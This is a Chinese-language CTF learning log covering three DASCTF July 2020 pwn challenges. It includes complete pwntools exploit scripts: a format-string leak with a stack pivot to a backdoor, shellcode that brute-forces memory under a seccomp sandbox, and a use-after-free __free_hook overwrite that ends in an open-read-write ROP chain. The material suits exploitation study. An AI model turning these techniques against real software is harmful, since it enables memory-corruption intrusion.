DASCTF2020-7月赛 pwn学习记录

DASCTF2020-7月赛 虚假的签到题

说实话有点被出题人恶心到了,主要还是自己太菜了。。。

拿到题目直接ida打开,按f5一顿分析

DASCTF2020-7月赛 pwn学习记录_第1张图片

就这太简单了吧!先格式化字符串漏洞,后栈溢出,猜想肯定是先用格式化字符串泄漏canary,再利用栈溢出控制程序流,执行后门函数。查看保护机制

DASCTF2020-7月赛 pwn学习记录_第2张图片

嗯。。。没有canary保护,那这个格式化字符串漏洞是干嘛用的?然后直接栈溢出发现拿不到shell。这就很奇怪了???其实到这里就到死胡同了,我们回头来看一下main函数的汇编代码,可以看到出题人在程序的最后做了修改

DASCTF2020-7月赛 pwn学习记录_第3张图片

程序leave以后会修改esp为ecx-4,而ecx的值为ebp-4地址上的值。也就是:esp=*[ebp-4]-4。因此我们首先需要利用格式化字符漏洞泄漏出ebp的值,然后修改ebp-4为我们可写的地址,并且修改该地址-4处的值为backdoor,我们就可以获得shell了。

具体的调试流程:

1.启动gdb,设置两个断点分别为0x080485F5和0x80485C7

image-20200725202315157

2.运行(r),遇到第一次输入"a",程序停在0x080485C7

DASCTF2020-7月赛 pwn学习记录_第4张图片

DASCTF2020-7月赛 pwn学习记录_第5张图片

可以看到此时的ebp为0xffffcfa8,位于格式化字符串偏移为2的地方,所以利用格式化字符串"%2$p"就可以泄漏出ebp中的地址了。

3.继续运行(c),遇到第二次输入"aaaa",程序停在0x080485F5

DASCTF2020-7月赛 pwn学习记录_第6张图片

可以看到此时我们输入的字符串的起始位置是0xffffcf80,如果我们在0xffffcf80的位置上写入后门函数地址,让ebp-4的位置放上0xffffcf84,这样ecx就为0xffffcf84,而ecx-4赋给esp就正好是我们的后门函数了。

所以我们可以计算出ebp-4的位置的值应该是 ebp-0x24(0xffffcfa8 - 0xffffcf84 = 0x24)

而中间需要0x20的铺垫(0xffffcfa4 - 0xffffcf84 = 0x20)

现在可以构造exp

from pwn import *

s      = lambda data               :sh.send(data) 
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
sea     = lambda delim,data         :sh.sendafter(delim, data)
r      = lambda numb=4096          :sh.recv(numb)
ru      = lambda delims, drop=True  :sh.recvuntil(delims, drop)
info_addr = lambda tag, addr        :sh.info(tag +': {:#x}'.format(addr))
itr     = lambda                    :sh.interactive()
debug   = lambda command=''         :gdb.attach(sh,command)


sh=process('./qiandao')

ru(":")
sl("%2$p")
ru("\n")
stack=int(ru("\n").replace("\n",""),16)-0x24
info_addr("stack",stack)
ru("?")
payload=p32(0x0804857D)+"\x00"*0x20+p32(stack)
sl(payload)
itr()

参考链接:

https://nop-sw.github.io/wiki/wp/DASCTF-%E4%B8%83%E6%9C%88%E8%B5%9B/#_1

DASCTF-7月赛 eg32

程序本身没有开任何保护,并且逻辑也很简单,就是写入一段shellcode,程序会跳转执行这段shellcode。关键的问题在于程序中存在沙箱过滤,无法调用open、execve、syscall等无法使用。有关于沙箱过滤的这是第一次遇到,相关的前置知识可以查看这两篇文章

http://www.secwk.com/2019/09/20/6564/

https://www.anquanke.com/post/id/208364#h2-10

seccomp在ctf中大多用于禁用execve函数,解决办法就是构造shellcode,用open->read->write的方式读flag

seccomp-tools

seccomp-tools 是可以帮助我们查看哪些syscall被禁止的一个工具

ubuntu安装命令

sudo apt install gcc ruby-dev

sudo gem install seccomp-tools

参看一下本题的过滤

DASCTF2020-7月赛 pwn学习记录_第7张图片

最开始做的时候没有任何头绪,接下的解题方法是来自Nopnoping师傅的

程序在一开始将flag 文件读入到内存中,但是内存地址是随机的,因此我们需要解决的问题是如何获得该地址的值。最开始我以为在栈地址上可能会有残留数据,找了一下发现没有,思路陷入了困境。最后的解决办法是爆破内存地址,由于是32位程序,所以可以在有限时间中爆破出来。 既然是爆破,那么在编写shellcode时需要注意效率问题。这里还需要提一点,就是为什么访问了非法地址,却没有报段错误。**这是因为对于syscall而言,如果出错,那么eax将返回一个非零值,而不会直接终止程序。**我们也可以利用eax是否小于零来判断我们有没有爆破成功。

著作权归作者所有。
商业转载请联系作者获得授权,非商业转载请注明出处。
来源:http://www.nopnoping.xyz/2020/07/25/DASCTF-7%E6%9C%88%E8%B5%9B/

from pwn import *

s = lambda data :sh.send(data)
sa = lambda delim,data :sh.sendafter(delim, data)
sl = lambda data :sh.sendline(data)
sla = lambda delim,data :sh.sendlineafter(delim, data)
sea = lambda delim,data :sh.sendafter(delim, data)
r = lambda numb=4096 :sh.recv(numb)
ru = lambda delims, drop=True :sh.recvuntil(delims, drop)
info_addr = lambda tag, addr :sh.info(tag +': {:#x}'.format(addr))
itr = lambda :sh.interactive()
debug = lambda command='' :gdb.attach(sh,command)


sh=process('./eg32')
context.arch='i386'
context.log_level='debug'


#debug("b*0804881C\nc")
write='''
push 0x9000000     #这里为什么从0x9000000开始爆破有点不是很确定,望师傅们解释一下
pop ecx
push 1 
pop ebx 
push 0x1000 
pop edx 
push 4 
pop eax 
int 0x80 
add ecx,edx        #调用write,打印内存内容,每次打印0x1000大小
cmp eax,0 
''' 
exit=''' 
push 1 
pop eax 
xor ebx,ebx 
int 0x80 
''' 
shellcode=asm(write)+"\x7C\xF4"+asm(exit)  #"\x7C\xF4"是jl指令,根据cmp eax,0结果判断是否继续爆破
gdb.attach(sh) 
sa("flag",shellcode) 
itr() 
image-20200809210051525 DASCTF2020-7月赛 pwn学习记录_第8张图片

0xafb - 0xb05 = 0xfffffff6

同类型题目:https://www.dazhuanlan.com/2019/12/19/5dfaf1f1c361b/

DASCTF-7月赛 bigbear

题目漏洞点主要在于free后指针没有置null,导致了uaf漏洞。但是问题在于题目限制了execve(如下图),所以根据上一题发逻辑只能用open->read->write的方式读flag。一般的情况下是要实现orw是通过setcontext来实现的,但是这里的libc版本是2.30,setcontext无法使用。所以只能使用其他方法来实现栈迁移。这里接下是对nopnoping师傅提供的exp的学习。

DASCTF2020-7月赛 pwn学习记录_第9张图片

根据nopnoping师傅的讲解,其所提供的exp属于非预期解,预期解是利用io_file的str_overflow控制rdx来使用setcontext。这里我还没有找到相关的文章进行学习,如果有师傅会的话一定要带带弟弟啊。

现在我们来看看nopnoping师傅的解题思路。

先想一想要实现栈迁移的话,我们要怎么做。首先我们得把rbp修改为可控的值,然后执行leave ret对吧?我们利用UAF攻击,可以修改free_hook为任意函数,当free掉一个堆块时,会将堆块地址作为第一个参数传递给该函数。如果我们能在libc中找到一个函数片段,其有mov rbp,rdi这样形式的指令,而且还有一个call函数可控,并将call函数修改为leave ret,那么我们就可以实现栈迁移,并执行ROP链。

著作权归作者所有。
商业转载请联系作者获得授权,非商业转载请注明出处。
来源:http://www.nopnoping.xyz/2020/07/25/DASCTF-7%E6%9C%88%E8%B5%9B/

所以现在的问题是我们要找到这样的一段代码片段可以实现上述的功能,我自己尝试着去找了,但找得我头都大了。。。这里膜拜一下nopnoping师傅师傅。

我们来看一下这段代码片段

DASCTF2020-7月赛 pwn学习记录_第10张图片

从这里可以看到我们可以把rbp覆盖为[rdi+0x48],而在0x157f90的位置会call [rax+0x28],往上看可以看到rax为[rbp+18h] 所以我们实际会call [[rbp+18h]+0x28]。整理一下现有思路,现在我们要在rdi+0x48处放置我们需要转移到的新栈地址,在[rbp+18h]+0x28处放置leave ret从而实现栈转移。

exp:

#Author: Nopnoping
from pwn import *

s      = lambda data               :sh.send(data) 
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
sea     = lambda delim,data         :sh.sendafter(delim, data)
r      = lambda numb=4096          :sh.recv(numb)
ru      = lambda delims, drop=True  :sh.recvuntil(delims, drop)
info_addr = lambda tag, addr        :sh.info(tag +': {:#x}'.format(addr))
itr     = lambda                    :sh.interactive()
debug   = lambda command=''         :gdb.attach(sh,command)


sh=process("./bigbear")
context.log_level = 'DEBUG'
if args['I386']:
    context.arch='i386'
else:
    context.arch='amd64'

if args['DEBUG']:
    context.log_level='debug'

def choice(elect):
    ru('>>')
    sl(str(elect))

def add(size,content):
    choice(1)
    ru(":")
    sl(str(size))
    ru(':')
    sl(str(content))

def edit(index,content):
    choice(4)
    ru('idx')
    sl(str(index))
    ru(':')
    sl(content)

def show(index):
    choice(3)
    ru(':')
    sl(str(index))

def delete(index):
    choice(2)
    ru('idx')
    sl(str(index))
def dbg():
	gdb.attach(sh)
	pause()

libc=ELF("/home/parallels/Desktop/test/libc.so.6")
add(0x1000,'a') #0 这用到针对unsortbin的攻击,实现libcbase的泄漏,如图1
add(0x20,'a') #1
add(0x20,'a') #2
delete(0)
show(0) #利用uaf漏洞打印出chunk0的fd指针

ru(":")
libc_base=u64(r(6).ljust(8,'\x00'))-0x1eabe0 #计算出libcbase如图2
info_addr("libc_base",libc_base)
setcontext=libc_base+libc.symbols['setcontext']
free_hook=libc_base+libc.symbols['__free_hook']
secret=libc_base+0x000000000157F7A #之前找到的实现栈迁移的代码片段
info_addr("setcontext",setcontext)
info_addr("free_hook",free_hook)
info_addr("secret",secret)


delete(1)
delete(2)
show(2) #依旧利用uaf漏洞打印出chunk2的fd指针
ru(":")
heap=u64(r(6).ljust(8,'\x00'))-0x1010 #通过chunk2的fd指针减去偏移得倒,chunk0的mem指针,如图3
info_addr("heap",heap)
edit(2,p64(free_hook)+p64(0)) #修改chunk2的fd指针为free_hook,构造fakechunk
add(0x20,'a')
add(0x20,p64(secret)) #得到fakechunk,并把free_hook处的内容修改为我们之前找到的代码片段,这样在我们free某个chunk的时候,我们就会跳转执行这段代码,而此时的rdi就指向这个chunk的内容
leave_ret=libc_base+0x000000000005A9A8
print 'leave'+hex(leave_ret)
rdi_ret=libc_base+0x0000000000026bb2
rsi_ret=libc_base+0x000000000002709c
rdx_r12_ret=libc_base+0x000000000011c3b1
open_=libc_base+libc.symbols["open"]
read=libc_base+libc.symbols["read"]
write=libc_base+libc.symbols['write']

payload="./flag\x00\x00"+p64(rdx_r12_ret)+p64(0)+p64(heap)+p64(rdx_r12_ret)+p64(leave_ret)+p64(0)+p64(rdx_r12_ret)+p64(0)+p64(heap)
payload+=p64(rdi_ret)+p64(heap)+p64(rsi_ret)+p64(0)+p64(open_)
payload+=p64(rdi_ret)+p64(3)+p64(rsi_ret)+p64(heap-0x100)+p64(rdx_r12_ret)+p64(0x30)+p64(0)+p64(read)
payload+=p64(rdi_ret)+p64(1)+p64(rsi_ret)+p64(heap-0x100)+p64(rdx_r12_ret)+p64(0x30)+p64(0)+p64(write)
add(0x100,payload)

delete(5)
itr()

图1:

DASCTF2020-7月赛 pwn学习记录_第11张图片

图2:

DASCTF2020-7月赛 pwn学习记录_第12张图片

图3:

DASCTF2020-7月赛 pwn学习记录_第13张图片

这一段对堆上内容的布局,我们拎出来单独看一下。

payload="./flag\x00\x00"+p64(rdx_r12_ret)+p64(0)+p64(heap)+p64(rdx_r12_ret)+p64(leave_ret)+p64(0)+p64(rdx_r12_ret)+p64(0)+p64(heap)

这一部分就是实现了栈迁移到了heap处。

DASCTF2020-7月赛 pwn学习记录_第14张图片

接下来就是正常的rop链实现orw了。

payload+=p64(rdi_ret)+p64(heap)+p64(rsi_ret)+p64(0)+p64(open_)
payload+=p64(rdi_ret)+p64(3)+p64(rsi_ret)+p64(heap-0x100)+p64(rdx_r12_ret)+p64(0x30)+p64(0)+p64(read)
payload+=p64(rdi_ret)+p64(1)+p64(rsi_ret)+p64(heap-0x100)+p64(rdx_r12_ret)+p64(0x30)+p64(0)+p64(write)

水平有限讲解得可能不是很清楚,最好还是自己可以动手调试一下,这样就会很清楚了。
最后如果学会了利用io_file的str_overflow控制rdx来使用setcontext的方法再回来更新。。。

你可能感兴趣的:(pwn)